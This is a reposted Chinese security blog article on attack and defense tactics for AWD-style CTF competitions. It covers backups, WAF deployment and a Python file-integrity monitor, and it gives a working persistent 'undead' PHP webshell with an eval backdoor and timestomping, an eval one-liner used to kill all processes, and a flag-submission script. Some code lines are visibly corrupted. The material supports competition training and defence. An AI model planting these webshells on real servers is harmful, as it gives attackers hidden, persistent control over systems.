Web AWD竞赛的攻击与防御技巧

admin 2022年5月15日01:25:10CTF专场评论5 views9093字阅读30分18秒阅读模式


    AWD(Attack With Defense,攻防兼备)是一种综合考核参赛团队攻击、防御技术能力、即时策略的比赛模式。在攻防模式中,参赛队伍分别防守同样配置的虚拟靶机,并在有限的博弈时间内,找到其他战队的薄弱环节进行攻击,同时要对自己的靶机环境进行加固防守。

01
防护技巧

1.1 备份与恢复

备份是首要操作,有挺大的作用,首先,当被别人删源码和库时,可利用备份文件进行恢复,防down机被扣分。其次,快速找漏洞,用D盾扫描备份下来的源码看有没预留后门。最后,还能找到马的位置,当网站被种马以后,找不到马的位置,可重新备份文件和初始备份版本对比(beyond compare),看看差别。


1.1.1    网站备份与恢复

备份:

连接ssh( 常见ssh连接工具mobaXterm,xtfp,finalshell)

ssh -p ssh_port [email protected]_ip

修改ssh密码

passwd

网站源码压缩

cd /var/www/html                      

tar -zcvf /tmp/xxx.tar.gz  ./*

下载到本地

scp -P ssh_port [email protected]_ip:/tmp/xxx.tar.gz local_file

恢复:

本地备份上传到靶机,/tmp目录下的文件如果没有被删除,这步就不用

scp -P  local_file ssh_port [email protected]_ip:/tmp/xxx.tar.gz

源码解压

tar -zxvf /tmp/xxx.tar.gz -C /var/www/html

 

1.1.2    数据备份与恢复

备份:

数据库登录,数据库的账户密码,可在网站配置文件如config.php 里寻找

mysql –pdb_user –udb_passwd 

mysql>show databases;

备份指定数据库,

mysqldump -udb_user -pdb_passwd db_name > /tmp/bak.sql

下载到本地

scp -P ssh_port [email protected]_ip:/tmp/bak.sql local_file

恢复:

数据库登录

mysql -udb_user -pdb_passwd 

创建数据库

mysql>create database db_name;

source 还原

mysql>use db_name;                

mysql>source /tmp/bak.sql

mysql 还原

mysql -udb_user -pdb_passwd db_name< /tmp/bak.sql

 

1.2 脚本部署

1.2.1    WAF部署

部署WAF 来通防别人的攻击,来避免自己失分。主办方一般会禁止使用。

常见一些WAF工具:

https://github.com/leohearts/awd-watchbird https://github.com/edwardchoijc/ctf-toolkit/tree/master/Linux/WAF https://github.com/DasSecurity-Labs/AoiAWD


1.2.2    流量日志监控

对流量、日志分析,可以感知可能正在发生的攻击,从而规避存在的安全风险,还可以还原攻击者的攻击路径,从而挽回已经造成的损失。

主办方如果提供流量,可以直接用wireshark查看。也可以自己部署流量监控文件, 如weblogger工具:https://github.com/wupco/weblogger

批量包含文件命令

find /var/www/html/ -bashtype f -path "*.php" | xargs sed -i "s/<?php /<?phpnrequire_once('/tmp/waf.php');n/g"

 

1.2.3    文件监控

通过监控网站的源码文件,得知此时文件的增删查改情况,分析攻击者的操作行为来应急响应。

Python文件监控脚本如下:

python# -*- coding: utf-8 -*-

#use: python file_check.py ./

import os

import hashlib

import shutil

import ntpath

import time

CWD = os.getcwd()

FILE_MD5_DICT = {} # 文件MD5字典

ORIGIN_FILE_LIST = []

# 特殊文件路径字符串

Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'

bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'

logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'

webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'

difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'drops_log' # 免死金牌

UNICODE_ENCODING = "utf-8"

INVALID_UNICODE_CHAR_FORMAT = r"?%02x"

# 文件路径字典

spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))

Special_path = {

    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),

    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),

    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),

    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),

}

 

def isListLike(value):

    return isinstance(value, (list, tuple, set))

# 获取Unicode编码

def getUnicode(value, encoding=None, noneToNull=False):

    if noneToNull and value is None:

        return NULL

    if isListLike(value):

        value = list(getUnicode(_, encoding, noneToNull) for _ in value)

        return value

    if isinstance(value, unicode):

        return value

    elif isinstance(value, basestring):

        while True:

            try:

                return unicode(value, encoding or UNICODE_ENCODING)

            except UnicodeDecodeError, ex:

                try:

                    return unicode(value, UNICODE_ENCODING)

                except:

                    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]

    else:

        try:

            return unicode(value)

        except UnicodeDecodeError:

            return unicode(str(value), errors="ignore")

# 目录创建

def mkdir_p(path):

    import errno

    try:

        os.makedirs(path)

    except OSError as exc:

        if exc.errno == errno.EEXIST and os.path.isdir(path):

            passcur

        else: raise

# 获取当前所有文件路径

def getfilelist(cwd):

    filelist = []

    for root,subdirs, files in os.walk(cwd):

        for filepath in files:cur

            originalfile = os.path.join(root, filepath)

            if Special_path_str not in originalfile:

                filelist.append(originalfile)

    return filelist

# 计算机文件MD5值

def calcMD5(filepath):

    try:

        with open(filepath,'rb') as f:

            md5obj = hashlib.md5()

            md5obj.update(f.read())

            hash = md5obj.hexdigest()

            return hash

    except Exception, e:

        print u'[!] getmd5_error : ' + getUnicode(filepath)

        print getUnicode(e)

        try:

            ORIGIN_FILE_LIST.remove(filepath)

            FILE_MD5_DICT.pop(filepath, None)

        except KeyError, e:

            pass

# 获取所有文件MD5

def getfilemd5dict(filelist = []):

    filemd5dict = {}

    for ori_file in filelist:

        if Special_path_str not in ori_file:

            md5 = calcMD5(os.path.realpath(ori_file))

            if md5:

                filemd5dict[ori_file] = md5

    return filemd5dict

# 备份所有文件

def backup_file(filelist=[]):

    # if len(os.listdir(Special_path['bak'])) == 0:

    for filepath in filelist:

        if Special_path_str not in filepath:

            shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':

    print u'---------start------------'

    for value in Special_path:

        mkdir_p(Special_path[value])

    # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件

    ORIGIN_FILE_LIST = getfilelist(CWD)

    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)

    backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG

    print u'[*] pre work end!'

    while True:

        file_list = getfilelist(CWD)

        # 移除新上传文件

        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))

        if len(diff_file_list) != 0:

            # import pdb;pdb.set_trace()

            for filepath in diff_file_list:

                try:

                    f = open(filepath, 'r').read()

                except Exception, e:

                    break

                if Special_string not in f:

                    try:

                        print u'[*] webshell find : ' + getUnicode(filepath)

                        shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))

                    except Exception as e:

                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)

                    try:

                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')

                        f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + 'n')

                        f.close()

                    except Exception as e:

                        print u'[-] log error : file move error: ' + getUnicode(e)

        # 防止任意文件被修改,还原被修改文件

        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)

        for filekey in md5_dict:

            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:

                try:

                    f = open(filekey, 'r').read()

                except Exception, e:

                    break

                if Special_string not in f:

                    try:

                        print u'[*] file had be change : ' + getUnicode(filekey)

                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))

                        shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)

                    except Exception as e:

                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)

                    try:

                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')

                        f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + 'n')

                        f.close()

                    except Exception as e:

                        print u'[-] log error : done_diff: ' + getUnicode(filekey)

                        pass

        time.sleep(2)

        # print '[*] ' + getUnicode(time.ctime())

 

02
攻防技巧

2.1 代码审计

网站源码常见为php类型,可使用Seay工具进行审计。经常会遇到一些预留的后门,可使用D盾检测利用。常见漏洞:命令执行、代码执行、SQL注入、文件操作漏洞等。


2.2 不死马

不死马是AWD比较常见的种马方式。

种不死马

<?php

 ignore_user_abort(true);

 set_time_limit(0);

 unlink(__FILE__);

 $file = 'admin.php';

 $code = '<?php if(md5($_GET["pass"])=="3bf8d4b2d94742b03e7d08cdf1f32128"){@eval($_POST[a]);} ?>';

 while (1){

     if(md5(file_get_contents($file))!==md5($code)) {

         file_put_contents($file,$code);

         system('touch -m -d "2018-12-01 09:10:12" admin.php');

     }

     usleep(1000);

 }

?>

1.ignore_user_abort(true):函数设置与客户机断开是否会终脚本的执行。这里设置为true则忽略与户的断开,即使与客户机断开脚本仍会执

2.set_time_limit() :函数设置脚本最执行时间。这里设置为0,即没有时间方面的限制。

3.unlink(__FILE__) :删除文件本身,以起到隐蔽自身的作用。

4. while:循环内每隔 usleep(1000) 即写新的后门文件

5.system(): 执行的命令用于修改文件件的创建或修改时间,可以绕过“find /var/www/html –name *.php –mmin -10”命令检测最近10分钟修改或新创建的PHP文件,但不一定有用,可选。

 

杀不死马:

1.建立一个和不死马一样名字的文件夹,这样不死马就写不进去了。

rm -rf .2.php | mkdir .2.php

2.杀进程得在root或者www-data权限下。如上传一句话,然后执行 system('kill -9 -1'); 杀死所有进程,再手动删除木马

shell.php: <?php @eval($_GET['9415']); ?>

 url访问:shell.php?9415=system('kill -9 -1');

3.用一个脚本竞争写入,脚本同不死马,usleep要低于对方不死马设置的值.

top 查看占用率最高的cpu进程 q 退出

M 根据驻留内存大小进行排序

P 根据CPU使用百分比大小进行排序

<?php

     while (1) {

      $pid = 不死的进程PID;

      @unlink("c.php");

      exec("kill -9 $pid");

      usleep(1000);

  }?>

4.重启 apache,php 等web服务(一般不会有权限)

 

2.3 批量脚本

当找到漏洞利用点时候,可写脚本批量利用获取flag。

平台都会提供一个提交flag的API接口,可修改如下脚本快速提交获取的flag。

def submit_flag(flag):

    host_url="http://192.168.1.200/api/v1/att_def/web/submit_flag/?event_id=10"

    data={

        'flag': flag,

        'token': 'ksBQUu8GQQbNjMVvvYrVNufWWRctDrRSthGnn62uMQTW7'

    }

    print(data)

    try:

        r=requests.post(host_url,data=data)

        print(r.text)

    except Exception as e:

        print(e)


Web AWD竞赛的攻击与防御技巧

原文始发于微信公众号(山石网科安全技术研究院):Web AWD竞赛的攻击与防御技巧

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月15日01:25:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Web AWD竞赛的攻击与防御技巧 http://cn-sec.com/archives/1004628.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: